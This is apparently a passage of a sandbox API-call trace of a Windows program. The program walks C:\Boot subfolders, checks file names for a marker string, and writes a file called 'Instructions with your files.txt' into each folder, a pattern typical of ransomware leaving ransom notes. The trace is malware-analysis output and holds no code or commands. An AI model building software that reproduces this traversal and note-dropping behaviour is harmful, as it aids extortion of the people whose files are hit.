[0111.800] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf") returned 30
[0111.800] StrStrIW (lpFirst="chs_boot.ttf", lpSrch="SDfghjkl") returned 0x0
[0111.800] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1
[0111.800] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf") returned 30
[0111.800] StrStrIW (lpFirst="cht_boot.ttf", lpSrch="SDfghjkl") returned 0x0
[0111.800] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ce980e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7ce980e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7ce980e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0111.800] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\Instructions with your files.txt") returned 50
[0111.800] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0111.800] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1
[0111.800] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf") returned 30
[0111.800] StrStrIW (lpFirst="jpn_boot.ttf", lpSrch="SDfghjkl") returned 0x0
[0111.800] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1
[0111.800] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf") returned 30
[0111.800] StrStrIW (lpFirst="kor_boot.ttf", lpSrch="SDfghjkl") returned 0x0
[0111.800] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1
[0111.800] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 31
[0111.800] StrStrIW (lpFirst="wgl4_boot.ttf", lpSrch="SDfghjkl") returned 0x0
[0111.800] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0
[0111.800] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\Instructions with your files.txt") returned 50
[0111.800] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\Instructions with your files.txt" (normalized: "c:\\boot\\fonts\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0111.822] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0111.822] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0111.823] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0111.823] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0111.823] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0111.823] CloseHandle (hObject=0x108) returned 1
[0111.823] FindClose (in: hFindFile=0x82f280 | out: hFindFile=0x82f280) returned 1
[0111.823] GetProcessHeap () returned 0x810000
[0111.823] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0111.823] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cebe240, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cebe240, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1
[0111.823] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fr-FR") returned 17
[0111.823] GetProcessHeap () returned 0x810000
[0111.823] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0111.823] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\fr-FR\\*") returned 19
[0111.823] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cebe240, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cebe240, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f280
[0111.866] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fr-FR\\.") returned 19
[0111.867] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cebe240, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cebe240, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0111.867] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fr-FR\\..") returned 20
[0111.867] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0111.867] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 33
[0111.867] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0111.867] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cebe240, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cebe240, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cee43a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0111.867] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fr-FR\\Instructions with your files.txt") returned 50
[0111.867] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0111.867] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cebe240, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cebe240, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cee43a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0111.867] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fr-FR\\Instructions with your files.txt") returned 50
[0111.867] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\Instructions with your files.txt" (normalized: "c:\\boot\\fr-fr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0111.875] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0111.875] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0111.875] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0111.875] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0111.876] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0111.876] CloseHandle (hObject=0x108) returned 1
[0111.876] FindClose (in: hFindFile=0x82f280 | out: hFindFile=0x82f280) returned 1
[0111.876] GetProcessHeap () returned 0x810000
[0111.876] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0111.876] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cee43a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cee43a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1
[0111.876] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\hu-HU") returned 17
[0111.876] GetProcessHeap () returned 0x810000
[0111.876] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0111.876] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\hu-HU\\*") returned 19
[0111.876] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cee43a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cee43a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f280
[0111.877] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\hu-HU\\.") returned 19
[0111.877] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cee43a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cee43a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0111.877] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\hu-HU\\..") returned 20
[0111.877] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0111.877] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 33
[0111.877] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0111.877] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cee43a0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cee43a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cee43a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0111.877] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\hu-HU\\Instructions with your files.txt") returned 50
[0111.877] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0111.877] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cee43a0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cee43a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cee43a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0111.877] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\hu-HU\\Instructions with your files.txt") returned 50
[0111.877] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\Instructions with your files.txt" (normalized: "c:\\boot\\hu-hu\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0111.877] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0111.878] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0111.878] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0111.878] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0111.878] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0111.878] CloseHandle (hObject=0x108) returned 1
[0111.879] FindClose (in: hFindFile=0x82f280 | out: hFindFile=0x82f280) returned 1
[0111.879] GetProcessHeap () returned 0x810000
[0111.879] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0111.879] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cfc8be0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cfc8be0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cfc8be0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0111.879] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Instructions with your files.txt") returned 44
[0111.879] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0111.879] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cee43a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cee43a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1
[0111.879] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\it-IT") returned 17
[0111.879] GetProcessHeap () returned 0x810000
[0111.879] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0111.879] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\it-IT\\*") returned 19
[0111.879] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cee43a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cee43a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f280
[0111.882] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\it-IT\\.") returned 19
[0111.882] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x7cee43a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cee43a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0111.882] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\it-IT\\..") returned 20
[0111.882] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0111.882] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 33
[0111.882] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0111.882] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cee43a0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cee43a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cee43a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0111.882] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\it-IT\\Instructions with your files.txt") returned 50
[0111.882] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0111.882] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cee43a0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7cee43a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7cee43a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0111.882] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\it-IT\\Instructions with your files.txt") returned 50
